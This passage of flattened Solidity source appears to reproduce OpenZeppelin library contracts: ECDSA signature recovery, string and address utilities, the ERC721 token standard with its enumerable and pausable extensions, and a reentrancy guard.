RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "../../../security/Pausable.sol"; /** * @dev ERC721 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC721Pausable is ERC721, Pausable { /** * @dev See {ERC721-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); require(!paused(), "ERC721Pausable: token transfer while paused"); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT 